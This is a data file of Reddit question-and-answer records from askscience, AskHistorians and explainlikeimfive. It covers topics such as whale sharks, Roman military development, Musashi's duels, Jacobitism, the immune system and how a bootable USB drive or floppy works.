{"q_id": "3itpu5", "title": "How come we know so little on the whale shark?", "selftext": "It's the biggest fish in the ocean, we know where to find them, where they nest(nest?) and exactly what they look like.\n\n\nYet, no one really knows what's their life span(60-100 is no where near precise) or how they reproduce.\n\nWhy don't we just track them?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3itpu5/how_come_we_know_so_little_on_the_whale_shark/", "answers": {"a_id": ["cujplic"], "score": [22], "text": ["Because they only hang out near the surface to eat - After that, they dive up to **1.2km**, where they do most of their living.  We can't easily go that deeply, so as a result, we don't really know what they do down there (though we know by inference they mate and give birth down there, because they don't do it near the surface).\n\nSo, we really only know their dining habits.  Everything else about them (even how long they live, we don't know for sure) remains a mystery."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4lkq2r", "title": "Did the Roman military have anything like an R & D department for developing new technology, weapons, or equipment?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4lkq2r/did_the_roman_military_have_anything_like_an_rd/", "answers": {"a_id": ["d3ohzdq", "d3oix15", "d3ojz4x"], "score": [2, 719, 100], "text": ["As a follow-up question, I'd be interested to know how new weapons became adopted in a more general sense over time in pre-modern Europe. Is it typically a conscious decision made by military commanders, or was the transition so gradual that nobody really thought about how people a few hundred years earlier were fighting in a different manner than they were?", "Pre-answer TL DR: No it didn't.\n\nMinor notes: You're probably thinking of what everyone thinks about when they think Roman Army. Legionnaires, armed with Lorica Segmentata, Gladius, Scutum and etc, (The latter two simply mean sword and shield in Latin, but have become associated with the specific arms in the modern age) but I'm going to range a bit more and even move into the Byzantine period, because it may be helpful to talk a bit about the development of the Roman army and its style of warfare in answering this question.\n\nReal Answer Time: While the Roman army was famously adaptable, and used many different sorts of weaponry, I have come across no mentions of any sort of focused attempts to improve the quality of equipment in the sort of way you might see with military R & D in the modern age. While the equipment, techniques and tactics of the Roman military evolved over the years, the changes were more like the natural phenomenon of evolution than focused R & D. They absorbed tactics, utilized new equipment as it was developed or encountered and changed their methods as old ones were found inadequate to new situations, but when there were focused attempts to reform the army, (The Marian Reforms, for example) they were generally the efforts of one or a few men over a short period of time, rather than the sort of consistent, self-sustaining effort we see in modern science. To illustrate this, I'll give a few examples of some of the changes the army underwent in its 1000+ years of operation.\n\nThe earliest accounts of the Roman army have them fighting in the Greek style, with levied hoplites as the main power of the army. While accounts are inconsistent as to precisely when, or against who (Possibly either the Gauls or the Samnites) the Romans made the change to the Manipular system, but the consensus is that it was for tactical reasons. The Greek style phalanx, while excellent from the front on flat ground, was serving them poorly in the hilly terrain of Italy against enemies who had no intention of fighting like Greeks themselves, and were happy to exploit that terrain to break up the Phalanx. (The Romans themselves would use similar methods when fighting the Macedonians years later) The maniple was adopted in response to tactical failings, but it would then go more or less unchanged for a further two centuries, until the Marian reforms.\n\nJumping forward to the famed Legion of Cohorts, while it was an adaptable force, post-Marius there doesn\u2019t seem to have been a conscious effort to push it forward in terms of equipment. If you look, for instance, at the legionaries depicted in Trajan\u2019s column, they don\u2019t seem to differ much from the forces deployed in the campaigns of Julius Ceaser, a century and a half earlier. One thing that would have changed is an ever growing use and importance of non-roman troops both as Auxiliaries and in later periods in the Legions proper. This contributed to a further decentralization in fighting style, as many non-romans would continue to fight in the style of their people, rather than adopting the methods of the legion. This, in fact, made them quite valuable for plugging holes in the roman fighting style. Much of the Roman skirmishing force and cavalry was auxiliary in this period, though they did also serve as heavy infantry. \n\nMany of the changes in equipment and fighting style in the later roman period were not necessarily improvements, and certainly weren\u2019t the result of centralized study. Rather, they were a response to the changing fortunes of the empire, which no longer had the money, political stability and manpower to support the legions of old in the numbers necessary to hold back the enemies of Rome.  We see a shift to scale and lamellar armor in this period, away from plate, not because it was more protective (it probably wasn\u2019t) but because it was cheaper and easier to produce and maintain, making it more attractive to roman coffers drained by financial collapse, inflation/debasement, and raiding. (Some have argued that only frontline soldiers would have heavy armor at all, though this is most likely no more than situationally true.) Also, longer swords like the Spatha tend to replace shorter Gladii, again, not because they were better (Evaluating swords even today is messy business, and the question \u201cIs this a better sword?\u201d is generally best met with the reply \u201cBetter for what?\u201d) but because they were more in the style of the Germanic soldiers that began to fill the Empire\u2019s ranks as plagues and warfare drained traditional supplies of manpower.\n\nShifting even later, the Byzantine Army underwent many changes in its time, again, as a response to the changing fortunes and enemies of the empire. They adopted horse arches, and many of the tactics of the steppe forces that were so successful against Rome\u2019s heavier legions. They avoided the pitched battles that were so common in Roman times, because their smaller, poorer and more heavily beset empire could not afford to wager armies in pitched battles the way the Empire could in the 1st or 2nd Centuries. Always, though, these changes were not as a result of the conscious study or development that we conceive of when we speak of modern military science. Rather, it was an amorphous, naturally occurring progression, composed of individual reforms, gradual changes and adaptation in the face of changing enemies and changing fortunes. \n\nLendon, J. E. Soldiers and Ghosts: A History of Battle in Classical Antiquity. New Haven: Yale UP, 2005. Print.\n\nDecker, Michael. The Byzantine Art of War. Yardley, PA: Westholme, 2013. Print. \n", "My response is a tad long so I\u2019m going to split it into a parent comment and a reply to that comment. TL;DR the popularization of the maniple formation and its weaponry seems to demonstrate one instance in which \"R & D\" occurred indirectly over a period of centuries through conflict and refinement of existing weapons and tactical principles, though this process was not directed.\n\nJuliusz Tomczak of Adam Mickiewicz University discussed the evolution of Roman weapons and tactics in the fourth century BC in [this fascinating article](_URL_0_) in \u201cFolia Archaeologica\u201d from 2012. Ultimately, he concludes that the changes in tactical unit structure and standard infantry weapons that facilitated the use of the maniples as the constituent unit of Roman warfare during the Early Roman Republic came about due to gradual shifts occasioned by conflict with neighboring tribes and possibly the Celts. While the existing sources do not indicate any kind of research unit or single political entity or individual credited with R & D responsibilities - save for some texts asserting that Marcus Furius Camillus was personally responsible for the adoption of the metal-reinforced shield during the wars with the Celts - Tomczak explains how some technological shifts were manifested in the Roman military, with important implications for warfighting and social organization within the military. \n\nTomczak asserts that there is no clear consensus among historians as to when most changes in Roman weaponry occurred during the Early Roman Republic, while the lack of iconographical sources from the period \u201cexplains the tendency to search not for the beginning of changes, but their end\u201d (Tomczak 39 2012). He considers the development of the pilum, the long military javelin; the scutum, the distinctive semi-cylindrical shield; and the popularization of manipular tactics, the organizational principles for tactical units you can see visualized in this [Vassar graphic](_URL_2_). The specific interval Tomczak considers is between 535 BC, after the reforms of Servius Tullius, and ending at 223 BC with the battle at the River Po between Gaius Flaminius Nepos and the Insubres tribe. This battle evinced usage of manipular formations and the weapons associated with the maniple: the javelins and gladii of the velites, the pila and gladii of the hastati, the scuta and hastae of the principes, and the thickly armored spear and swordsmen in the triarii. \n\nTomczak complains that determining the timeline for changes in military equipment and tactics is complicated by the fact that \u201cancient authors are not very precise or consistent in applying the names of particular types of weapons\u201d (Tomczak 39 2012). For example, the Greek historian Polybios of Megalopolis makes no distinction between the terms [machairo](_URL_1_) and [xiphos](_URL_3_). The hasta \"could refer to either a pole weapon used exclusively for close combat or a more universal spear, which could also be thrown at the enemy\" (Tomczak 40 2012). Given the circumstances, it is not necessarily easy to pinpoint when exactly an advance in military engineering, weaponry or tactics was made or by whom it was introduced. Tomvzak defines manipular tactics as based on a loose formation with wider openings between individual soldiers than a hoplite phalanx, with a battle plan based on throwing spears and only using the sword in decisive closing combat like the use of the bayonet in Napoleonic combat (Tomczak 42 2012). The popularization of the maniple was so important for changing the way that the Romans fought that Tomczak characterizes it as \u201cevolutionary\u201d (Tomczak 42 2012). \n\nTo respond to the thrust of your question, in the Early Roman Republic these advances seem not to have resulted from efforts to create new tactical principles or develop new technology by any organized body in the Roman government. Rather, the locus of change in the period is variously assigned to the Samnites, a different mystery people, or the wars with the Celts and particularly \u201cthe defeat in the battle of river Alia in 390/387 BC\u201d (Tomczak 42 2012). Alternatively, manipular tactics and their associated weapons might have always been characteristic of the way that the Romans fought and just not adequately documented by available sources. The Samnite explanation is attested by the 4th century AD pagan religious philosopher Sallustius, who says that the Romans integrated Samnite armor and throwing missiles into their standard practices and equipment (Tomczak 42 2012). Perhaps the defeat at the Caudine Forks in 321 BC could have served as the impetus for the adoption of Samnite weapons and tactics. However, the ambiguity of iconographic sources like vases and paintings from the period makes it very difficult to determine the nature of Samnite arms, which may have been substantially hellenized and which \"differed from those used later by the Romans to such an extent, that it was reflected in the gladiatorial games\" (Tomczak 45 2012). Tomczak goes into great detail on the iconographic grounds for his skepticism about the Samnite origins of manipular tactics and associated weaponry. Meanwhile, the javelin was already prevalent throughout the Apennine Peninsula and Tomczak is disinclined to accept Iberia as the potential source of the weapons of the maniple. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://folia.archeologia.uni.lodz.pl/folia_archaeologica_29/folia29_tomczak.pdf", "https://upload.wikimedia.org/wikipedia/commons/thumb/f/f9/Falcata_%C3%ADbera_\\(M.A.N._Madrid\\)_01.jpg/600px-Falcata_%C3%ADbera_\\(M.A.N._Madrid\\)_01.jpg", "http://faculty.vassar.edu/jolott/old_courses/republic1998/marius/maniple2.jpg", "http://s1337.photobucket.com/user/AlaeSwords/media/pvgiones_gladii_antiqui13b_zps9f01b884.jpg.html"]]}
{"q_id": "1ypb7o", "title": "Is it possible to produce a stereographic projection for a 4-sphere?", "selftext": "Is it possible to produce a stereographic projection for a 5 dimensional sphere using the same technique as a [3-sphere](_URL_0_)? How would it be defined, do you project to 4d space then onto 3d? Would it have an additional set of projections in addition to the parallels, meridians and hypermeridians?\n\nIs there software available for this type of modeling?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ypb7o/is_it_possible_to_produce_a_stereographic/", "answers": {"a_id": ["cfmqtjh"], "score": [6], "text": ["You betcha, so what happens is your sphere in 5 dimensions, the 4-sphere, gets mapped to a 4 dimensional hyperplane. The n-dimensional case more or less follows from 3-D case by analogy, where you \"divide out\" in some sense by the nth coordinate. Here be the wiki: _URL_0_\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/3-sphere"], "answers_urls": [["http://en.wikipedia.org/wiki/N-sphere#Stereographic_projection"]]}
{"q_id": "2bqb8k", "title": "what inspires people to be mean, offensive, or just an outright asshole? what makes someone act like a jerk?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2bqb8k/eli5what_inspires_people_to_be_mean_offensive_or/", "answers": {"a_id": ["cj7uhjm", "cj7uvhd", "cj7vmtp", "cj7w4vv", "cj7x6mh", "cj7zhra", "cj83797"], "score": [3, 2, 2, 3, 2, 2, 2], "text": ["I think some people just want to impose their made up superiority. I don't come across many assholes in real life, just on the internet.", "Selfishness and dominance.\n\nIf you want something, being a jerk will often help you prevail over people who choose to be polite.\n\nAlso, if you can get the people around you to get used to dealing with your bad behavior, you can make them do a lot with the threat of worse behavior.", "Peruvians and Russians.  They suck at english, yet they want to lead the team.", "for me it was only because i did not have enough social skills and felt inferior to everyone and defenseless. I overcame it but not entirely yet .. still working on it !", "Well, here's how I've heard it explained:\nEveryone has the same basic needs - physical, emotional, social, etc - but there are all kinds of ways to go about trying to get those needs met. Some people have come to believe they must be mean or offensive to get the needs met, that 'the best defense is a good offense.' ", "People asking Inane questions. ", "It's usually a combination of things. They have their insecurities and they lack both the ability to be direct about how they feel and the empathy to see how it feels when they impose their insecurities onto the people around them by being mean."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "5li6sn", "title": "why is the moment of death always associated with \"the light going out from one's eyes\"? does this actually happen or is it just a metaphor?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5li6sn/eli5_why_is_the_moment_of_death_always_associated/", "answers": {"a_id": ["dbvvkbl", "dbvvmx8", "dbvy5c3", "dbvylf4", "dbw1qhx", "dbw64sm", "dbw6vrb", "dbw723v", "dbwciko", "dbwnhql"], "score": [59, 15, 25, 8, 24, 5, 31, 8, 3, 2], "text": ["Absolutely not. If you have ever looked into something's eyes when they die the pupils dilate and focus become unfixed. The eyes begin to look waxy. The spark of life you literally see leave their eyes. Its the most heartbreaking thing I have ever seen.\n\nI know this because I work with wild animals, wildlife. I have seen many animals die and it never ceases to be something that signifies the intake is dead. \nIt's horrible. I hate it.\nBut it's legitimately also metaphor for the soul leaving the body.", "Idk if it's different with people but I was with my dog when she passed a few years ago and i think it's more metaphorical. You can see something though, Idk how to explain it really. It's kinda like you can see their eyes stop functioning, all those little movements, the way they focus on something, one second that's all there and the next everything is still and, well lifeless, almost like a machine powering down and coming to a complete stop. Not sure if this is correct or not but it's my experience with it.   ", "I saw it when my mom passed. She died anf was just gone. There's no doubt about it, once life leaves what is left was just a shell. ", "In the Illiad, Homer describes several warriors' deaths with similar imagery.  Examples:  \n*And Eurypylus, son of Euaemon, killed Hypsenor, the son of noble\nDolopion, who had been made priest of the river Scamander, and was\nhonoured among the people as though he were a god. Eurypylus gave him chase as he was flying before him, smote him with his sword upon the arm, and lopped his strong hand from off it. The bloody hand fell to the ground, and the shades of death, with fate that no man can withstand, came over his eyes.*  \nAnd (although Aeneas does not die here):  \n*The hero fell on his knees, and propped himself with his hand resting on the ground till the darkness of night fell upon his eyes.*  \nBut actually in most of the epic, a death is described as someone \"falling to the ground.\"  Interesting that the light leaving the eyes (which is how I interpret the shade/darkness falling on them) was associated with death even 3,000 years ago.  \n", "I watched my grandfather pass and seeing his natural luster in his eye just die, killed me. This is certainly not a metaphor, a certain sparkle is loss in the process of dying, you only realize it on their last breath though.\n\nI don't know the scientific reason, but from personal experience, the lights do go out. Why the moment of death is associated with this I'm not 100%, though my best guess is before stethoscopes and modern medical tech, people looked into somebody's eye to see if their were indeed dead. But that's my best guess.  ", "I seen it in my grandmother when she passed away a few years back, it is literally like a light going out, one minute the eyes are there, focused on you, the next they aren't, the focus is gone, it's like they're looking straight through you, like wax model eyes. It's a strange feeling, to see it happen, the body just kinda switches off and that's it... nothing more, just a shell now. \n\nThe scary part was when it happened to my dad when he was knocked out for some surgery, his eyes did the whole glaze thing and he went a bit limp, my eyes shot for the anaesthetist, he pointed at the ECG machine,  heart still ticking, just sleeping. That scared me...", "The scientific reason is merely a cumulative effect of small, almost unnoticeable things. While alive the eyes constantly vibrate back and forth, unnoticeable to you (it's an evolutionary 'trick' that makes you not blind, associated with change detection). There's also dilation of the pupils in response to light and conscious movements on the part of the now deceased. When all of this stops suddenly due to the cessation of electrical signals from the now dead brain, it looks unnatural to your mind. ", "Your eyes are lubricated with fluids when you blink. The layer of fluid is thin and dries quickly, hence why we blink. After death you stop lubricating your eyes and the lubricant dries, resulting in a loss of sheen.\n", "There's an immediate change in the eye when someone dies, if their eyes are open, because there's no longer any focus to maintain, so there is a dramatic effect. But the \"light\" is somewhat of an exaggeration, naturally, based on the emotion of the experience. Having opened thousands of body bags, I can confirm that some dead people look just totally alive including the eyes. It's always a little creepy when you unzip and they just happen to be looking straight at you with clear eyes, because 19/20 times they're closed or not looking at you or deflated, bandaged etc. I have let out a small yelp when I was doing things mechanically whilst talking to a coworkers only to be met with a crisp fixed stare from the table.", "Sorry for your loss.  I saw the lights begin to flicker off in my dad maybe a year before he died of cancer.  I never saw him completely stop breathing but I certainly did experience the mechanical gurgling death breaths shortly before.  What really got me was watching my dad lose his appetite and start to not finish meals.  He forewarned that would signal the end and he was correct.  I still have the light of his eyes in my heart however, and most likely will forever.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "4mlwmn", "title": "When you're 'fighting a disease' what does that battle look like? do your white blood cells just absorb bacteria/illness and kill them? What happens?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4mlwmn/when_youre_fighting_a_disease_what_does_that/", "answers": {"a_id": ["d3wvvhj", "d3wvwzk", "d3wyn2u"], "score": [2, 2, 5], "text": ["I wouldn't know myself, but a video that actually helped me a lot was Kurzgesagt \u2013 In a Nutshell's The Immune System Explained. It talked about how the Immune system tries to rid itself of bacterial infects and whatnot. I believed the video is simplified for people who don't really know all the little things going on in their body, such as the Immune System. I can only recommend that as a pretty good video to watch and understand it on a simple level. (I would explain it here but even myself I don't understand it completely).", "The immunesystem is quite complex (my Janeway's immunobiology book is 892 pages). I hope the summaries I linked down below will shed some light on it.\n\n[A ~60 page book explaining it in easy terms] (_URL_0_) \n\n[Crash Course Anatomy  &  Physiology: Immune System, part 1](_URL_1_) ", "When you're fighting a common cold, almost all the symptoms you get are a part of the immune system mounting defenses, not something caused directly by the virus.\n\n* Fever: Kill or disable pathogens by denaturing important proteins\n* Runny nose: Increase mucus production to flush out foreign particles\n* Cough, sneezing: Eject possibly contaminated mucus from the body\n* Sore throat: Inflammation acts as a distress signal and aids in immune response\n* Fatigue: Prioritize energy use to fight the infection"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.imgt.org/IMGTeducation/Tutorials/ImmuneSystem/UK/the_immune_system.pdf", "https://www.youtube.com/watch?v=GIJK3dwCWCw&amp;index=45&amp;list=PL8dPuuaLjXtOAKed_MxxWBNaPno5h3Zs8"], []]}
{"q_id": "2oyzf8", "title": "Wikipedia says \"Musashi is said to have fought over 60 duels and was never defeated, although this is a conservative estimate\", but gives no source. Is this true?", "selftext": "I've asked this before but got no answer.\n\nIn particular are there any other sources other than Musashi's own account. It seems like a pretty bold claim.\nAlso What would have been considered a duel in Musashi's time and era? Would it have been to the death? It seems like it would be difficult to learn anything without ever making a mistake.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2oyzf8/wikipedia_says_musashi_is_said_to_have_fought/", "answers": {"a_id": ["cmrvk90", "cms1rsz", "cms8ynh"], "score": [67, 420, 5], "text": ["One possible source is [The Book of Five Rings](_URL_0_) itself, in which Musashi states (pg 4), \"Although I dueled more than sixty times, not once did I lose.\"  His words, written in 1643, translated by Thomas Cleary in 1993.", "According to William Scott Wilson's biography [The Lone Samurai](_URL_0_), Musashi did have around 60 confirmed duels, starting with his defeat of Arima Kihei at age 12 (Stated as 13 in The Book of Five Rings, as infants were considered to be already 1 year old at birth in Japan at the time). That being said, much of Wilson's book is pieced together from varying sources, some conflicting. It isn't unreasonable to say the number may well be inflated. \n\nAs far as what constitutes a victory changed for each duel, some were fought to the death, and others mere tests of skill against one another. Musashi was famous for often fighting with a bokken (a wooden practice katana), even against live swords. Some of these fights still ended in the deaths of his opponent, perhaps most famously Sasaki Kojiro, the Demon of the Western Provinces. Legend states that Musashi carved a boat oar to a bokken while in route to the duel, where he quickly struck down his opponent, and finished him off by caving in his chest. After this duel, Musashi's status as a swordsman was solidified, and he stopped finishing his duels with such extreme prejudice. From about 30 onward, he stopped killing his opponents, instead proving his superior skill by not allowing his opponent to make any ground, and generally out moving them. Most opponents quit in frustration. This continued into his late fifties. Considering he started at age 12 with his defeat of Arima Kihei, and the variety of duels fought over his life, I personally believe the claim. I'd highly suggest reading Wilson's biography. It's considered one of the most complete and accurate biographies available on Musashi.", "Side question.  How romanticized are samurai and bushido?  The only thing I've ever read is the Hagakure but I'm pretty sure that was written during the Meiji Era when there weren't any samurai."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.ca/Book-Five-Rings-Miyamoto-Musashi/dp/1570627487/"], ["http://www.amazon.com/Lone-Samurai-Life-Miyamoto-Musashi/dp/1590309871/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1418323042&amp;sr=1-1&amp;keywords=the+lone+samurai"], []]}
{"q_id": "2f17i0", "title": "What happens when you boil an acidic solution?", "selftext": "I was making tomato paste the other day and I noticed that the recipe didn't suggest I add lemon juice or citric acid.  This got me thinking.  When you boil down a liquid that is slightly acidic (boil off the water in the case of tomato paste), how is the PH affected?  Does it become more acidic?  Less?  Stay the same?  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2f17i0/what_happens_when_you_boil_an_acidic_solution/", "answers": {"a_id": ["ck4yjj7"], "score": [19], "text": ["That depends on the relative vapor pressure of the acid in question, compared to water. \n\nIf it has a higher \"relative volatility\" than water, the acid will evaporate and boil much faster than the water will, thus reducing the concentration of the acid. However the acid fumes can be captured and condensed using a distilling apparatus designed to handle acids, thus producing a more concentrated acid. \n\nIf the acid has a lower vapor pressure than water, the water will tend to evaporate and boil much faster than the acid, thus concentrating it. this can be done with sulfuric acid. Though for technical reasons it's difficult to concentrate H2SO4 over 90% this way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "14cjyv", "title": "Why does relaxing the eye muscles seem to make objects that were once difficult to see become more clear?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14cjyv/why_does_relaxing_the_eye_muscles_seem_to_make/", "answers": {"a_id": ["c7buam1"], "score": [2], "text": ["You seem to be talking about [accommodation](_URL_0_), where muscles in the eye alter the shape of the lens and are used to adjust for distance. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Accommodation_%28eye%29"]]}
{"q_id": "1ztp80", "title": "After the Glorious Revolution, was there ever any real chance of a Stuart restoration?", "selftext": "In addition, were Jacobites seen as a seditious element of society that had to be stamped out, or were they considered to be harmless?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ztp80/after_the_glorious_revolution_was_there_ever_any/", "answers": {"a_id": ["cfww4zt"], "score": [4], "text": ["Yes, there were many times when there was a serious possibility that the Stuarts would be restored.\n\nJames II tried to get his throne back with French help by invading Ireland in 1689 but was defeated at the Battle of the Boyne in 1690. In 1692 the French assembled an armada of 44 ships to invade England and restore James to the throne but this was defeated by the Royal Navy at the Battle of La Hogue.\n\n1708 also witnessed an unsuccessful French invasion attempt involving James II's son, also called James. 1715 saw James travel to Scotland and raise a rebellion to try and win the throne. However the forces he mustered were defeated and he had to flee back to France. His son (James II's grandson) Charles managed to land in Scotland and this came closer to success: he invaded England and reached as far south as Derby in the Midlands but instead of taking London his council got cold feet and they retreated back to Scotland. They were eventually defeated.\n\nIt later emerged that there was a Hanoverian spy in Charles' camp who helped persuade Charles to turn back from Derby by claiming there was an additional Hanoverian army waiting for them if they marched on London (this was false). This seems to me to be the closest the Stuarts came to a new restoration.\n\nThe Whig governments (who were in power from 1715 onwards) suspended *habeas corpus* at various times during the eighteenth century when there was a threat of Jacobitism. Jacobitism was widespread throughout the British Isles, along with the kindred doctrine of the divine right of kings. Due to it being treason to express Jacobite sentiments Jacobitism had to be expressed covertly in code (for example if you were to say of a gentleman that he is an 'honest man' this was an inexplicit way of saying he was a Jacobite). However due to the unrepresentative nature of Parliament at this time Jacobitism did not gain power commensurate with its popularity. The Tories were a largely Jacobite party and they would have won every general election between 1715 and 1747 had the number of seats obtained corresponded to the number of votes cast.\n\nAs late as 1828 a daughter of George III, Princess Augusta, remarked: \u201cI was ashamed to hear myself called Princess Augusta, and never could persuade myself that I was so, as long as any of the Stuart family were alive; but after the death of Cardinal York [the last direct Stuart claimant, in 1807], I felt myself to be really Princess Augusta\u201d.\n\nSource: Paul Kleber Monod, *Jacobitism and the English People. 1688-1788* (Cambridge University Press, 1993)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "arqt5j", "title": "why is everything involved in the transportation, usage, and storage of water or any other fluid, round?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/arqt5j/eli5_why_is_everything_involved_in_the/", "answers": {"a_id": ["egp14xu", "egp1drv", "egp2mja", "egp42b1", "egp53fh", "egp8ulq"], "score": [5, 2, 18, 2, 7, 2], "text": ["It\u2019s better to keep them flowing as the pressure can be better distributed. So there is less risk of breakage in the pipes ", "A circle maximises the ratio of internal area to perimeter length. So a spherical tank would be ideal if the  only consideration is the storage of the largest volume for the smallest amount of material used to construct it. A cylindrical shape  is a fair compromise to make a practical tanker to use for mobile  transport where other factors  come into play like maximum height or width, or a pipe to carry fluid. A cylinder shape is also easier to construct from sheets of material than a sphere.", "Round things distribute pressure better. Hard edges create focal point for pressure to operate on, and ate the weakest point of any container when pressure is involved. ", "Its a matter of efficiency in fluid mechanics. \n\nThe bigger the perimeter of the container the fluid is passing through, the bigger the pressure loss due to friction... (Imagine the perimeter like a rugged surface, because of its imperfections it tends to drag the fluids and generate flow resistance, +surface = +resistance)\n\nSo a smaller perimeter is what you want, and if u do the math, a circular shape gives you the smaller perimeter for the same flow area. \n", "Round (cylindrical) containers are the best of both worlds.\n\nA sphereoid is the strongest type of container due to it's shape. It has the best structural integrity. The downside is it's space efficiency. A group of spheroids have a space efficiency of around 78%. There are large gaps of air between each one.\n\nA cuboid has the most efficient use of space. Cuboid style containers have around a 98% space efficiency when stored together. However, structurally, they're weak at the corners and edges. So, they have to be reinforced which costs more money and material.\n\nA cylindrical container marries both shapes into one efficient shape for both areas. It has the structural integrity close to that of a spheroid while maintaining a space efficiency close to a cuboid.", "Answered! Thanks everyone!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "2cfjtn", "title": "How did early American colonists react to unusual weather phenomenon that wasn't common in Europe?", "selftext": "Things such as severe hurricanes or tornadoes. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2cfjtn/how_did_early_american_colonists_react_to_unusual/", "answers": {"a_id": ["cjf27b6", "cjf2usy"], "score": [2, 7], "text": ["Follow up question: how did the much colder New England winters impact colonists' fashion?", "hi! you may be interested in these previous posts\n\n* [How did the early Spanish conquistadors react to hurricanes?](_URL_3_)\n\n* [How did people in 18th century America predict/prepare for/survive hurricanes and tropical storms?](_URL_1_)\n\n* [What was known in Europe/Asia about tornadoes prior to North American colonization?](_URL_0_)\n\n* [What was it like when Americans first settled in the area know as \"Tornado Alley\"](_URL_2_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/comments/1frggc/what_was_known_in_europeasia_about_tornadoes/", "http://www.reddit.com/r/AskHistorians/comments/12m36a/how_did_people_in_18th_century_america/", "http://www.reddit.com/r/AskHistorians/comments/1fobzf/what_was_it_like_when_americans_first_settled_in/", "http://www.reddit.com/r/AskHistorians/comments/1prkys/how_did_the_early_spanish_conquistadors_react_to/"]]}
{"q_id": "220tu8", "title": "what actually makes a bootable usb key bootable? specifically.", "selftext": "I am actually a Network administrator and everyone at my work including myself, has a different explanation.  \n\nThis is what I believe works but I would like a real understanding about what is in, and needed in, the boot sector:\n_URL_1_  \n\nI would like to know the minimum pieces necessary to make a USB key bootable. \n\nIt seems like it has to be active and have \"something\" in the hidden boot sector.  \n\nWhat are the boot.sdi, _URL_0_, and bootmgr, files and are they necessary?  \n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/220tu8/eli5what_actually_makes_a_bootable_usb_key/", "answers": {"a_id": ["cgia94p", "cgihbfd"], "score": [3, 7], "text": ["The file that is necessary to make any medium bootable such as a hard drive, USB stick, or a CD/DVD is a boot loader.  This is a first thing that looked for by the computer in order to load an operating system.  If that is not present then you'll get a message saying that 'No bootable partition can be found...'.  It's the seed file that initiates a chain of sequences needed in order to load the operating system found elsewhere on the boot partition.  So in my mind this is what's happening when a system is powered on.  For this example let's say the system/pc is a person.  When that person wakes up it performs a series of checks.  It says, \"Do I have my arms and are they working?\"  CHECK  \"Do I have my legs and are they working?\"  CHECK  This goes on until all systems are checked and ready to go.  This is what's called POST or Power On Self Test.  After that happens then it looks at the BIOS for instructions on how to use its body parts.  \"Am I going to need to use all arms today?\"  CHECK.  These are the custom settings designed to limit or maximize the usage of hardware components.  After it's done doing this check then it looks around saying, \"Okay what's my job going to be?\"  Then it looks for any device that has those instructions.  Those instructions would be the **boot loader** file.  Based on the BIOS settings it can look at all devices such as a hard drive, usb device, cd-rom, network (PXE), and so on or it will be told to only look at the hard drive.  The computer scans for a file that has a particular signature of a boot loader.  When that's found the system goes, \"Yipee!!!  Let's get to work\".  It reads the code and follows the instructions that dictate the order of what components need to be loaded from the operating system and when.  That's when the BIOS is no longer the main focus.  That's when the focus is passed on like a baton in the boot process.  ", "I don't know enough about USBs disks and modern UEFI bios to answer that side of it, but bootable floppies and old fashioned BIOS are the same idea and I know about them.\n\nBasically during the boot process (if you have told it to try and boot from floppy) the BIOS will read the first sector of the floppy disk out. Next it'll check to see if the final two bytes are equal to 0x55, 0xAA. If this is the case then this disk is marked as bootable and the entire first sector is loaded into memory at 0x7C00.\n\nFinally the BIOS starts trying to execute from 0x7C00, so ideally you'll have assembled some x86 assembly into this first sector on the floppy. \n\nGiven you only have 510 bytes to play with usually this the assembly in this boot sector will just do the work of loading larger chunks of the floppy into memory for subsequent boot stages.\n\nSome reading:\n\n* _URL_0_\n* _URL_1_"]}, "title_urls": [], "selftext_urls": ["etfsboot.com", "http://www.maximumpc.com/article/howtos/howto_make_bootable_usb_key"], "answers_urls": [[], ["http://linuxgazette.net/issue77/krishnakumar.html", "http://viralpatel.net/taj/tutorial/booting.php"]]}
